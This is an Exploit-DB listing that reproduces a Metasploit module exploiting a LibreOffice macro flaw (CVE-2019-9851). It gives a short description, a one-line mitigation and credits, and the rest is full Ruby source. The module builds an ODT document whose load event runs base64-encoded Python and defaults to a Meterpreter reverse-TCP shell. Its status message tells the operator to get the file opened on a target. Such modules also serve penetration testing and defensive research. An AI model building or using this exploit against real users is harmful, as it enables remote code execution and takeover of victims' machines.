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vendor:
LibreOffice
by:
Nils Emmerich, Shelby Pace, LoadLow, Gabriel Masei

LibreOffice Macro Python Code Execution

LibreOffice comes bundled with sample macros written in Python and allows the ability to bind program events to them. LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE. This module generates an ODT file with a dom loaded event that, when triggered, will execute arbitrary python code and the metasploit payload.

Mitigation:

Update to the latest version of LibreOffice.
Source

Exploit-DB raw data:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'LibreOffice Macro Python Code Execution',
      'Description'     => %q{
        LibreOffice comes bundled with sample macros written in Python and
        allows the ability to bind program events to them.

        LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.

        This module generates an ODT file with a dom loaded event that,
        when triggered, will execute arbitrary python code and the metasploit payload.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Nils Emmerich',    # Vulnerability discovery and PoC
          'Shelby Pace',      # Base module author (CVE-2018-16858), module reviewer and platform-independent code
          'LoadLow',          # This msf module
          'Gabriel Masei'     # Global events vuln. disclosure
        ],
      'References'      =>
        [
          [ 'CVE', '2019-9851' ],
          [ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9848/' ],
          [ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9851/' ],
          [ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]
        ],
      'DisclosureDate'  => '2019-07-16',
      'Platform'        => 'python',
      'Arch'            => ARCH_PYTHON,
      'DefaultOptions'  => { 'Payload' => 'python/meterpreter/reverse_tcp' },
      'Targets'         => [ ['Automatic', {}] ],
      'DefaultTarget'   =>  0
    ))

    register_options(
    [
      OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt']),
      OptString.new('TEXT_CONTENT', [true, 'Text written in the document. It will be html encoded.', 'My Report']),
    ])
  end

  def gen_file
    text_content = Rex::Text.html_encode(datastore['TEXT_CONTENT'])
    py_code = Rex::Text.encode_base64(payload.encoded)
    @cmd = "exec(eval(str(__import__('base64').b64decode('#{py_code}'))))"
    @cmd = Rex::Text.html_encode(@cmd)

    fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))
    libre_file = ERB.new(fodt_file).result(binding())

    print_status("File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.")

    libre_file
  rescue Errno::ENOENT
    fail_with(Failure::NotFound, 'Cannot find template file')
  end

  def exploit
    fodt_file = gen_file

    file_create(fodt_file)
  end
end